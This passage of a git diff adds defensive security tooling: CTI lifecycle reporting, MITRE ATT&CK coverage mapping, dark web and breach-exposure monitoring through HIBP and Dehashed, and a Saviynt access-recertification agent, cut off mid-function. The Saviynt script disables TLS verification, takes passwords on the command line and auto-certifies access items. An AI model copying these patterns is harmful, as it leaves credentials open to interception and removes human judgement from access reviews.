{"daily": 1, "weekly": 7, "monthly": 30, "quarterly": 90} + expected_interval = freq_days.get(prod["frequency"], 30) + days_since = (datetime.now() - last).days + if days_since > expected_interval * 1.5: + overdue.append({"product": prod["type"], "days_overdue": days_since - expected_interval}) + + avg_feedback = sum(p["feedback_score"] for p in products) / max(len(products), 1) + + return { + "total_products": len(products), + "overdue_products": overdue, + "avg_feedback_score": round(avg_feedback, 2), + "products": products, + } + + +def assess_maturity(pir_coverage: dict, products: dict, sources: list) -> dict: + """Assess CTI program maturity using simplified FIRST CTI-SIG model.""" + scores = {} + + scores["planning_direction"] = min(5, 1 + (pir_coverage["total_pirs"] // 2)) + scores["collection"] = min(5, 1 + len(sources) // 2) + scores["processing"] = 3 if products["total_products"] > 2 else 2 + scores["analysis"] = 3 if pir_coverage["coverage_pct"] > 80 else 2 + scores["dissemination"] = min(5, 1 + products["total_products"]) + scores["feedback"] = 4 if products["avg_feedback_score"] > 4.0 else 3 + + overall = round(sum(scores.values()) / len(scores), 1) + + return {"dimension_scores": scores, "overall_maturity": overall, "maturity_level": ( + "Initial" if overall < 2 else "Developing" if overall < 3 else + "Defined" if overall < 4 else "Managed" if overall < 4.5 else "Optimizing" + )} + + +def generate_report(pirs: list, coverage: dict, products: dict, maturity: dict) -> str: + """Generate CTI lifecycle management report.""" + lines = [ + "CYBER THREAT INTELLIGENCE LIFECYCLE REPORT", + "=" * 50, + f"Report Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + f"PIR COVERAGE: {coverage['coverage_pct']}%", + f" Total PIRs: {coverage['total_pirs']}", + f" Covered: {coverage['covered_pirs']}", + f" Gaps: {len(coverage['gaps'])}", + "", + f"INTELLIGENCE PRODUCTS:", + f" Active Products: {products['total_products']}", + f" Overdue: {len(products['overdue_products'])}", + f" Avg Feedback Score: {products['avg_feedback_score']}/5.0", + "", + f"PROGRAM MATURITY: {maturity['maturity_level']} ({maturity['overall_maturity']}/5.0)", + ] + for dim, score in maturity["dimension_scores"].items(): + lines.append(f" {dim}: {score}/5") + + return "\n".join(lines) + + +if __name__ == "__main__": + pir_file = sys.argv[1] if len(sys.argv) > 1 else "pirs.json" + sources_file = sys.argv[2] if len(sys.argv) > 2 else "sources.json" + products_file = sys.argv[3] if len(sys.argv) > 3 else "products.json" + + print("[*] CTI Lifecycle Management Assessment") + pirs = load_intelligence_requirements(pir_file) + sources = evaluate_collection_sources(sources_file) + coverage = assess_pir_coverage(pirs, sources) + products = track_intelligence_products(products_file) + maturity = assess_maturity(coverage, products, sources) + + report = generate_report(pirs, coverage, products, maturity) + print(report) + + output = f"cti_lifecycle_{datetime.now(timezone.utc).strftime('%Y%m%d')}.json" + with open(output, "w") as f: + json.dump({"pirs": pirs, "coverage": coverage, "products": products, "maturity": maturity}, f, indent=2) + print(f"\n[*] Results saved to {output}") diff --git a/skills/mapping-mitre-attack-techniques/LICENSE b/skills/mapping-mitre-attack-techniques/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/mapping-mitre-attack-techniques/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/mapping-mitre-attack-techniques/references/api-reference.md b/skills/mapping-mitre-attack-techniques/references/api-reference.md new file mode 100644 index 00000000..84e43ddf --- /dev/null +++ b/skills/mapping-mitre-attack-techniques/references/api-reference.md @@ -0,0 +1,66 @@ +# API Reference: Mapping MITRE ATT&CK Techniques + +## mitreattack-python Library + +| Method | Description | +|--------|-------------| +| `MitreAttackData(stix_filepath=path)` | Load ATT&CK STIX 2.0 data bundle from file | +| `get_techniques(remove_revoked_deprecated=False)` | Returns `list[AttackPattern]` STIX objects | +| `get_groups(remove_revoked_deprecated=False)` | Returns `list[IntrusionSet]` STIX objects | +| `get_techniques_used_by_group(group_stix_id)` | Returns `list[dict]` with `t["object"]` as AttackPattern | +| `get_attack_id(stix_id=id)` | Resolve STIX ID to ATT&CK ID (e.g., T1059) | +| `get_mitigations(remove_revoked_deprecated=False)` | Returns `list[CourseOfAction]` | +| `get_software(remove_revoked_deprecated=False)` | Returns `list[Malware or Tool]` | + +## ATT&CK Navigator API (Layer Format) + +| Field | Type | Description | +|-------|------|-------------| +| `techniques[].techniqueID` | string | ATT&CK technique ID (e.g., T1059) | +| `techniques[].score` | number | Coverage score (0=gap, 1=detected) | +| `techniques[].color` | string | Hex color for heatmap visualization | +| `domain` | string | ATT&CK domain: enterprise-attack, mobile-attack, ics-attack | + +## MITRE ATT&CK TAXII Server + +| Endpoint | Description | +|----------|-------------| +| `cti-taxii.mitre.org/stix/collections/` | List available STIX collections | +| `cti-taxii.mitre.org/stix/collections/{id}/objects/` | Download STIX objects | + +## Sigma Rules (Detection Engineering) + +| Field | Description | +|-------|-------------| +| `tags` | ATT&CK mapping (e.g., `attack.t1059.001`) | +| `logsource.product` | Target log source (windows, linux, aws) | +| `detection` | Search logic with conditions | + +## Key Libraries + +- **mitreattack-python** (`pip install mitreattack-python`): Official MITRE ATT&CK Python library +- **stix2**: Parse and create STIX 2.1 objects +- **taxii2-client**: Download ATT&CK data from TAXII server +- **pySigma**: Parse and convert Sigma detection rules + +## Configuration + +| Variable | Description | +|----------|-------------| +| `ATTACK_STIX_PATH` | Path to local enterprise-attack.json STIX bundle | +| `NAVIGATOR_URL` | ATT&CK Navigator instance URL | + +## Data Sources + +| Source | URL | Description | +|--------|-----|-------------| +| ATT&CK STIX | `github.com/mitre/cti` | Official STIX bundles | +| ATT&CK Navigator | `github.com/mitre-attack/attack-navigator` | Layer visualization tool | +| Sigma Rules | `github.com/SigmaHQ/sigma` | Community detection rules | + +## References + +- [MITRE ATT&CK](https://attack.mitre.org/) +- [mitreattack-python Docs](https://mitreattack-python.readthedocs.io/) +- [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) +- [D3FEND](https://d3fend.mitre.org/) diff --git a/skills/mapping-mitre-attack-techniques/scripts/agent.py b/skills/mapping-mitre-attack-techniques/scripts/agent.py new file mode 100644 index 00000000..6b46f0d8 --- /dev/null +++ b/skills/mapping-mitre-attack-techniques/scripts/agent.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python3 +""" +MITRE ATT&CK Technique Mapping Agent +Maps detection rules and security alerts to ATT&CK techniques using +the mitreattack-python library. Generates coverage heatmaps and identifies gaps. +""" + +import json +import os +import sys +from datetime import datetime, timezone + +from mitreattack.stix20 import MitreAttackData + + +def load_attack_data(stix_path: str = None) -> MitreAttackData: + """Load MITRE ATT&CK STIX data bundle.""" + if stix_path and os.path.exists(stix_path): + return MitreAttackData(stix_filepath=stix_path) + return MitreAttackData(stix_filepath="enterprise-attack.json") + + +def get_all_techniques(attack_data: MitreAttackData) -> list[dict]: + """Retrieve all Enterprise ATT&CK techniques with metadata. + Returns list[AttackPattern] (STIX objects supporting dict-like access). + """ + techniques = attack_data.get_techniques(remove_revoked_deprecated=True) + result = [] + for tech in techniques: + # Use get_attack_id() to resolve STIX ID -> ATT&CK ID (e.g. T1059) + tech_id = attack_data.get_attack_id(stix_id=tech.id) or "" + + platforms = tech.get("x_mitre_platforms", []) + tactics = [] + for phase in tech.get("kill_chain_phases", []): + if phase.get("kill_chain_name") == "mitre-attack": + tactics.append(phase.get("phase_name", "")) + + result.append({ + "id": tech_id, + "name": tech.name, + "tactics": tactics, + "platforms": platforms, + "is_subtechnique": tech.get("x_mitre_is_subtechnique", False), + }) + + return sorted(result, key=lambda x: x["id"]) + + +def get_techniques_by_group(attack_data: MitreAttackData, group_name: str) -> list[str]: + """Get techniques used by a specific threat group. + Groups are IntrusionSet STIX objects; techniques retrieved via relationship query. + """ + groups = attack_data.get_groups(remove_revoked_deprecated=True) + target_group = None + for group in groups: + if group.name.lower() == group_name.lower(): + target_group = group + break + for alias in group.get("aliases", []): + if alias.lower() == group_name.lower(): + target_group = group + break + + if not target_group: + return [] + + # get_techniques_used_by_group returns list of RelationshipEntry dicts + # Each entry has t["object"] = AttackPattern STIX object + techniques = attack_data.get_techniques_used_by_group(target_group.id) + tech_ids = [] + for t in techniques: + technique = t["object"] + attack_id = attack_data.get_attack_id(stix_id=technique.id) + if attack_id: + tech_ids.append(attack_id) + + return sorted(tech_ids) + + +def load_detection_rules(rules_file: str) -> list[dict]: + """Load detection rules with ATT&CK technique tags.""" + if os.path.exists(rules_file): + with open(rules_file, "r") as f: + return json.load(f) + return [] + + +def calculate_coverage(all_techniques: list[dict], detected_technique_ids: set) -> dict: + """Calculate ATT&CK coverage statistics by tactic.""" + tactic_coverage = {} + + for tech in all_techniques: + if tech["is_subtechnique"]: + continue + for tactic in tech["tactics"]: + if tactic not in tactic_coverage: + tactic_coverage[tactic] = {"total": 0, "covered": 0, "uncovered_techniques": []} + tactic_coverage[tactic]["total"] += 1 + if tech["id"] in detected_technique_ids: + tactic_coverage[tactic]["covered"] += 1 + else: + tactic_coverage[tactic]["uncovered_techniques"].append(tech["id"]) + + for tactic, data in tactic_coverage.items(): + data["coverage_pct"] = round(data["covered"] / max(data["total"], 1) * 100, 1) + + total_techniques = len([t for t in all_techniques if not t["is_subtechnique"]]) + covered = len(detected_technique_ids & {t["id"] for t in all_techniques if not t["is_subtechnique"]}) + + return { + "overall_coverage_pct": round(covered / max(total_techniques, 1) * 100, 1), + "total_techniques": total_techniques, + "covered_techniques": covered, + "by_tactic": tactic_coverage, + } + + +def generate_navigator_layer(techniques: list[dict], detected_ids: set, layer_name: str) -> dict: + """Generate ATT&CK Navigator JSON layer for visualization.""" + tech_entries = [] + for tech in techniques: + score = 1 if tech["id"] in detected_ids else 0 + color = "#31a354" if score == 1 else "" + tech_entries.append({ + "techniqueID": tech["id"], + "score": score, + "color": color, + "enabled": True, + }) + + return { + "name": layer_name, + "versions": {"attack": "14", "navigator": "4.9.1", "layer": "4.5"}, + "domain": "enterprise-attack", + "description": f"Detection coverage layer generated {datetime.now(timezone.utc).strftime('%Y-%m-%d')}", + "gradient": {"colors": ["#ff6666", "#31a354"], "minValue": 0, "maxValue": 1}, + "techniques": tech_entries, + } + + +def identify_priority_gaps(coverage: dict, group_techniques: list[str]) -> list[dict]: + """Identify high-priority coverage gaps based on threat group activity.""" + gaps = [] + all_uncovered = set() + for tactic, data in coverage["by_tactic"].items(): + all_uncovered.update(data["uncovered_techniques"]) + + for tech_id in group_techniques: + if tech_id in all_uncovered: + gaps.append({"technique_id": tech_id, "reason": "Used by target threat group, no detection"}) + + return gaps + + +def generate_report(coverage: dict, gaps: list, group_name: str) -> str: + """Generate ATT&CK mapping report.""" + lines = [ + "MITRE ATT&CK DETECTION COVERAGE REPORT", + "=" * 50, + f"Report Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + f"Overall Coverage: {coverage['overall_coverage_pct']}%", + f" Techniques Covered: {coverage['covered_techniques']}/{coverage['total_techniques']}", + "", + "COVERAGE BY TACTIC:", + ] + for tactic, data in sorted(coverage["by_tactic"].items()): + bar = "#" * int(data["coverage_pct"] / 5) + "." * (20 - int(data["coverage_pct"] / 5)) + lines.append(f" {tactic:35s} [{bar}] {data['coverage_pct']}%") + + if gaps: + lines.extend(["", f"PRIORITY GAPS (Threat Group: {group_name}):", "-" * 40]) + for gap in gaps[:15]: + lines.append(f" [GAP] {gap['technique_id']} - {gap['reason']}") + + return "\n".join(lines) + + +if __name__ == "__main__": + stix_path = sys.argv[1] if len(sys.argv) > 1 else "enterprise-attack.json" + rules_file = sys.argv[2] if len(sys.argv) > 2 else "detection_rules.json" + group_name = sys.argv[3] if len(sys.argv) > 3 else "APT29" + + print("[*] Loading MITRE ATT&CK data...") + attack_data = load_attack_data(stix_path) + all_techniques = get_all_techniques(attack_data) + print(f"[*] Loaded {len(all_techniques)} techniques") + + rules = load_detection_rules(rules_file) + detected_ids = set() + for rule in rules: + detected_ids.update(rule.get("attack_ids", [])) + + coverage = calculate_coverage(all_techniques, detected_ids) + group_techs = get_techniques_by_group(attack_data, group_name) + gaps = identify_priority_gaps(coverage, group_techs) + + report = generate_report(coverage, gaps, group_name) + print(report) + + layer = generate_navigator_layer(all_techniques, detected_ids, "Detection Coverage") + with open("attack_navigator_layer.json", "w") as f: + json.dump(layer, f, indent=2) + print(f"\n[*] Navigator layer saved to attack_navigator_layer.json") diff --git a/skills/monitoring-darkweb-sources/LICENSE b/skills/monitoring-darkweb-sources/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/monitoring-darkweb-sources/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/monitoring-darkweb-sources/references/api-reference.md b/skills/monitoring-darkweb-sources/references/api-reference.md new file mode 100644 index 00000000..655fabb6 --- /dev/null +++ b/skills/monitoring-darkweb-sources/references/api-reference.md @@ -0,0 +1,62 @@ +# API Reference: Monitoring Dark Web Sources + +## Have I Been Pwned API v3 + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v3/breaches` | GET | List all known data breaches | +| `/api/v3/breach/{name}` | GET | Get details of a specific breach | +| `/api/v3/pasteaccount/{email}` | GET | Search paste site archives for an email | +| `/api/v3/breachedaccount/{email}` | GET | Check if email appears in breaches | + +## Dehashed API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/search?query=domain:example.com` | GET | Search exposed credentials by domain | +| `/search?query=email:user@example.com` | GET | Search by specific email address | + +## Ransomware.live API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/recentvictims` | GET | List recent ransomware leak site victims | +| `/groups` | GET | List tracked ransomware groups | +| `/group/{name}` | GET | Get details for a specific ransomware group | + +## Recorded Future Dark Web Module + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/v2/darkweb/search` | GET | Search dark web mentions by keyword | +| `/v2/credentials/search` | GET | Search exposed credentials | + +## Key Libraries + +- **requests**: HTTP client for HIBP, Dehashed, and ransomware.live APIs +- **spiderfoot** (CLI): OSINT automation including dark web module `sfp_darkweb` +- **theHarvester**: Domain reconnaissance including breach data sources + +## Configuration + +| Variable | Description | +|----------|-------------| +| `HIBP_API_KEY` | Have I Been Pwned API key (paid tier for domain search) | +| `DEHASHED_API_KEY` | Dehashed API key for credential exposure search | +| `DEHASHED_EMAIL` | Dehashed account email for API authentication | +| `RF_API_TOKEN` | Recorded Future API token for dark web module | + +## Rate Limits + +| API | Rate Limit | +|-----|------------| +| HIBP | 10 requests/minute (paid key) | +| Dehashed | 5 requests/second | +| Ransomware.live | No published limit (be respectful) | + +## References + +- [Have I Been Pwned API](https://haveibeenpwned.com/API/v3) +- [Dehashed API Docs](https://www.dehashed.com/docs) +- [Ransomware.live](https://www.ransomware.live/) +- [SpiderFoot OSINT](https://github.com/smicallef/spiderfoot) diff --git a/skills/monitoring-darkweb-sources/scripts/agent.py b/skills/monitoring-darkweb-sources/scripts/agent.py new file mode 100644 index 00000000..54471c71 --- /dev/null +++ b/skills/monitoring-darkweb-sources/scripts/agent.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python3 +""" +Dark Web Source Monitoring Agent +Monitors dark web forums, paste sites, and ransomware leak sites for +organizational asset mentions using commercial APIs and OSINT tools. +""" + +import json +import os +import re +import sys +from datetime import datetime, timezone + +import requests + + +HAVE_I_BEEN_PWNED_API = "https://haveibeenpwned.com/api/v3" +DEHASHED_API = "https://api.dehashed.com/search" + + +def check_breach_exposure(domain: str, hibp_api_key: str) -> list[dict]: + """Check Have I Been Pwned for domain breach exposure.""" + if not hibp_api_key: + return [{"error": "HIBP_API_KEY not set"}] + + headers = { + "hibp-api-key": hibp_api_key, + "user-agent": "DarkWebMonitor-Agent", + } + resp = requests.get( + f"{HAVE_I_BEEN_PWNED_API}/breaches", + headers=headers, timeout=30, + ) + if resp.status_code != 200: + return [{"error": f"HIBP returned {resp.status_code}"}] + + breaches = resp.json() + relevant = [] + for breach in breaches: + if domain.lower() in breach.get("Domain", "").lower(): + relevant.append({ + "name": breach["Name"], + "domain": breach["Domain"], + "breach_date": breach.get("BreachDate", ""), + "pwn_count": breach.get("PwnCount", 0), + "data_classes": breach.get("DataClasses", []), + "is_verified": breach.get("IsVerified", False), + }) + + return relevant + + +def search_paste_sites(org_keywords: list[str], api_key: str) -> list[dict]: + """Search paste site archives for organization mentions.""" + results = [] + for keyword in org_keywords: + resp = requests.get( + f"{HAVE_I_BEEN_PWNED_API}/pasteaccount/{keyword}", + headers={"hibp-api-key": api_key, "user-agent": "DarkWebMonitor-Agent"}, + timeout=30, + ) + if resp.status_code == 200: + pastes = resp.json() + for paste in pastes: + results.append({ + "keyword": keyword, + "source": paste.get("Source", ""), + "id": paste.get("Id", ""), + "title": paste.get("Title", ""), + "date": paste.get("Date", ""), + "email_count": paste.get("EmailCount", 0), + }) + + return results + + +def check_credential_exposure(domain: str, dehashed_key: str, dehashed_email: str) -> dict: + """Search Dehashed for exposed credentials matching domain.""" + if not dehashed_key: + return {"error": "DEHASHED_API_KEY not set", "results": []} + + resp = requests.get( + DEHASHED_API, + params={"query": f"domain:{domain}", "size": 100}, + auth=(dehashed_email, dehashed_key), + headers={"Accept": "application/json"}, + timeout=30, + ) + + if resp.status_code != 200: + return {"error": f"Dehashed returned {resp.status_code}", "results": []} + + data = resp.json() + entries = data.get("entries", []) + return { + "total_exposed": data.get("total", 0), + "results_returned": len(entries), + "sources": list(set(e.get("database_name", "") for e in entries)), + "sample_entries": [ + {"email": e.get("email", ""), "source": e.get("database_name", ""), + "has_password": bool(e.get("password") or e.get("hashed_password"))} + for e in entries[:20] + ], + } + + +def monitor_ransomware_leak_sites(org_name: str) -> dict: + """Check ransomware leak site intelligence feeds for organization mentions. + Uses Ransomware.live API (public aggregator).""" + results = {"mentions": [], "checked_groups": []} + + resp = requests.get( + "https://api.ransomware.live/recentvictims", + timeout=30, + ) + if resp.status_code == 200: + victims = resp.json() + for victim in victims: + victim_name = victim.get("victim", "").lower() + if org_name.lower() in victim_name: + results["mentions"].append({ + "victim": victim.get("victim", ""), + "group": victim.get("group_name", ""), + "discovered": victim.get("discovered", ""), + "url": victim.get("post_url", ""), + }) + + resp2 = requests.get("https://api.ransomware.live/groups", timeout=30) + if resp2.status_code == 200: + groups = resp2.json() + results["checked_groups"] = [g.get("name", "") for g in groups[:30]] + + return results + + +def generate_monitoring_report( + domain: str, breaches: list, pastes: list, creds: dict, leak_results: dict +) -> str: + """Generate dark web monitoring report.""" + lines = [ + "DARK WEB MONITORING REPORT", + "=" * 50, + f"Monitored Domain: {domain}", + f"Report Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + "BREACH EXPOSURE:", + f" Known Breaches Involving Domain: {len(breaches)}", + ] + for b in breaches[:5]: + lines.append(f" - {b['name']} ({b['breach_date']}) - {b['pwn_count']:,} accounts") + + lines.extend([ + "", + "PASTE SITE EXPOSURE:", + f" Paste Mentions Found: {len(pastes)}", + ]) + + lines.extend([ + "", + "CREDENTIAL EXPOSURE:", + f" Total Exposed Records: {creds.get('total_exposed', 0):,}", + f" Source Databases: {len(creds.get('sources', []))}", + ]) + + lines.extend([ + "", + "RANSOMWARE LEAK SITES:", + f" Groups Monitored: {len(leak_results.get('checked_groups', []))}", + f" Mentions Found: {len(leak_results.get('mentions', []))}", + ]) + for m in leak_results.get("mentions", []): + lines.append(f" - {m['victim']} by {m['group']} ({m['discovered']})") + + return "\n".join(lines) + + +if __name__ == "__main__": + domain = sys.argv[1] if len(sys.argv) > 1 else "example.com" + hibp_key = os.getenv("HIBP_API_KEY", "") + dehashed_key = os.getenv("DEHASHED_API_KEY", "") + dehashed_email = os.getenv("DEHASHED_EMAIL", "") + + print(f"[*] Dark web monitoring for: {domain}") + + breaches = check_breach_exposure(domain, hibp_key) + pastes = search_paste_sites([f"@{domain}"], hibp_key) + creds = check_credential_exposure(domain, dehashed_key, dehashed_email) + leak_results = monitor_ransomware_leak_sites(domain.split(".")[0]) + + report = generate_monitoring_report(domain, breaches, pastes, creds, leak_results) + print(report) + + output = f"darkweb_monitor_{domain.replace('.', '_')}_{datetime.now(timezone.utc).strftime('%Y%m%d')}.json" + with open(output, "w") as f: + json.dump({"breaches": breaches, "pastes": pastes, "credentials": creds, "leak_sites": leak_results}, f, indent=2) + print(f"\n[*] Results saved to {output}") diff --git a/skills/performing-access-recertification-with-saviynt/LICENSE b/skills/performing-access-recertification-with-saviynt/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-access-recertification-with-saviynt/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-access-recertification-with-saviynt/references/api-reference.md b/skills/performing-access-recertification-with-saviynt/references/api-reference.md new file mode 100644 index 00000000..14f23cce --- /dev/null +++ b/skills/performing-access-recertification-with-saviynt/references/api-reference.md @@ -0,0 +1,53 @@ +# API Reference: Saviynt Access Recertification + +## Saviynt EIC REST API v5 + +### Authentication +```python +POST /ECM/api/login +Body: {"username": "admin", "password": "pass"} +Returns: {"access_token": "...", "token_type": "Bearer"} +``` + +### Certification Endpoints +| Method | Endpoint | Description | +|--------|----------|-------------| +| POST | `/ECM/api/v5/listCertification` | List campaigns | +| POST | `/ECM/api/v5/getCertificationDetails` | Campaign statistics | +| POST | `/ECM/api/v5/getCertificationItems` | Get review items | +| POST | `/ECM/api/v5/certifyItems` | Certify/revoke items | + +### listCertification Payload +| Field | Description | +|-------|-------------| +| `certificationstatus` | `active`, `completed`, `expired` | +| `max` | Maximum results per page | +| `offset` | Pagination offset | + +### Certification Item Fields +| Field | Description | +|-------|-------------| +| `username` | Identity under review | +| `entitlement_value` | Access being reviewed | +| `risk_score` | Computed risk (0-10) | +| `last_used_date` | Last access usage date | +| `peer_group_match` | Whether peers have same access | + +### certifyItems Actions +| Action | Description | +|--------|-------------| +| `certify` | Approve continued access | +| `revoke` | Remove access | +| `consult` | Request additional reviewer input | + +### Campaign Types +| Type | Trigger | +|------|---------| +| User Manager | Manager reviews direct reports | +| Application Owner | App owner reviews all users | +| Entitlement Owner | Entitlement owner reviews holders | +| Event-Based | Triggered by role/department change | + +## References +- Saviynt REST API: https://docs.saviyntcloud.com/ +- Saviynt Certification: https://docs.saviyntcloud.com/bundle/EIC-Admin-v24x/ diff --git a/skills/performing-access-recertification-with-saviynt/scripts/agent.py b/skills/performing-access-recertification-with-saviynt/scripts/agent.py new file mode 100644 index 00000000..eb7fbaeb --- /dev/null +++ b/skills/performing-access-recertification-with-saviynt/scripts/agent.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python3 +"""Agent for managing Saviynt access recertification campaigns via REST API.""" + +import requests +import json +import argparse +from datetime import datetime, timezone +import urllib3 + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +def authenticate(base_url, username, password): + """Authenticate to Saviynt EIC and get OAuth token.""" + url = f"{base_url}/ECM/api/login" + payload = {"username": username, "password": password} + resp = requests.post(url, json=payload, verify=False, timeout=30) + resp.raise_for_status() + token = resp.json().get("access_token") + print(f"[*] Authenticated to Saviynt EIC") + return {"Authorization": f"Bearer {token}"} + + +def list_campaigns(base_url, headers, status="active"): + """List certification campaigns.""" + url = f"{base_url}/ECM/api/v5/listCertification" + payload = {"certificationstatus": status, "max": 50, "offset": 0} + resp = requests.post(url, headers=headers, json=payload, verify=False, timeout=30) + resp.raise_for_status() + campaigns = resp.json().get("certifications", []) + print(f"\n[*] Campaigns ({status}): {len(campaigns)}") + for c in campaigns: + print(f" {c.get('certificationname')} - certifier: {c.get('certifier', 'N/A')} " + f"| due: {c.get('duedate', 'N/A')}") + return campaigns + + +def get_campaign_details(base_url, headers, cert_key): + """Get detailed campaign status including item counts.""" + url = f"{base_url}/ECM/api/v5/getCertificationDetails" + payload = {"certkey": cert_key} + resp = requests.post(url, headers=headers, json=payload, verify=False, timeout=30) + resp.raise_for_status() + details = resp.json() + total = details.get("totalitems", 0) + certified = details.get("certifieditems", 0) + revoked = details.get("revokeditems", 0) + pending = total - certified - revoked + print(f"\n[*] Campaign {cert_key}: total={total}, certified={certified}, " + f"revoked={revoked}, pending={pending}") + return details + + +def get_pending_items(base_url, headers, cert_key, max_items=100): + """Get items pending review in a certification campaign.""" + url = f"{base_url}/ECM/api/v5/getCertificationItems" + payload = {"certkey": cert_key, "status": "pending", "max": max_items, "offset": 0} + resp = requests.post(url, headers=headers, json=payload, verify=False, timeout=30) + resp.raise_for_status() + items = resp.json().get("certificationitems", []) + print(f"\n[*] Pending items: {len(items)}") + high_risk = [i for i in items if i.get("risk_score", 0) > 7] + print(f" High-risk items (score > 7): {len(high_risk)}") + for i in high_risk[:10]: + print(f" [!] {i.get('username')} - {i.get('entitlement_value')} " + f"(risk: {i.get('risk_score')})") + return items + + +def certify_items(base_url, headers, cert_key, item_ids, action="certify"): + """Certify or revoke items in a campaign.""" + url = f"{base_url}/ECM/api/v5/certifyItems" + payload = {"certkey": cert_key, "itemids": item_ids, "action": action, + "comments": f"Auto-{action} by recertification agent"} + resp = requests.post(url, headers=headers, json=payload, verify=False, timeout=30) + resp.raise_for_status() + print(f"[*] {action.capitalize()}d {len(item_ids)} items in campaign {cert_key}") + return resp.json() + + +def check_overdue_campaigns(base_url, headers): + """Find campaigns past their due date.""" + url = f"{base_url}/ECM/api/v5/listCertification" + payload = {"certificationstatus": "active", "max": 200, "offset": 0} + resp = requests.post(url, headers=headers, json=payload, verify=False, timeout=30) + resp.raise_for_status() + campaigns = resp.json().get("certifications", []) + now = datetime.now(timezone.utc) + overdue = [] + for c in campaigns: + due = c.get("duedate", "") + if due: + try: + due_dt = datetime.fromisoformat(due.replace("Z", "+00:00")) + if due_dt < now: + overdue.append({"name": c.get("certificationname"), + "due": due, "certifier": c.get("certifier")}) + except ValueError: + pass + print(f"\n[*] Overdue campaigns: {len(overdue)}") + for o in overdue: + print(f" [!] {o['name']} (due: {o['due']}, certifier: {o['certifier']})") + return overdue + + +def generate_report(campaigns, overdue, output_path): + """Generate recertification status report.""" + report = {"report_date": datetime.now(timezone.utc).isoformat(), + "active_campaigns": len(campaigns), "overdue_campaigns": len(overdue), + "campaigns": campaigns[:50], "overdue": overdue} + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Report saved to {output_path}") + + +def main(): + parser = argparse.ArgumentParser(description="Saviynt Access Recertification Agent") + parser.add_argument("action", choices=["list", "details", "pending", "overdue", "full-audit"]) + parser.add_argument("--url", required=True, help="Saviynt EIC base URL") + parser.add_argument("--username", required=True) + parser.add_argument("--password", required=True) + parser.add_argument("--cert-key", help="Certification campaign key") + parser.add_argument("-o", "--output", default="recert_report.json") + args = parser.parse_args() + + headers = authenticate(args.url, args.username, args.password) + if args.action == "list": + list_campaigns(args.url, headers) + elif args.action == "details" and args.cert_key: + 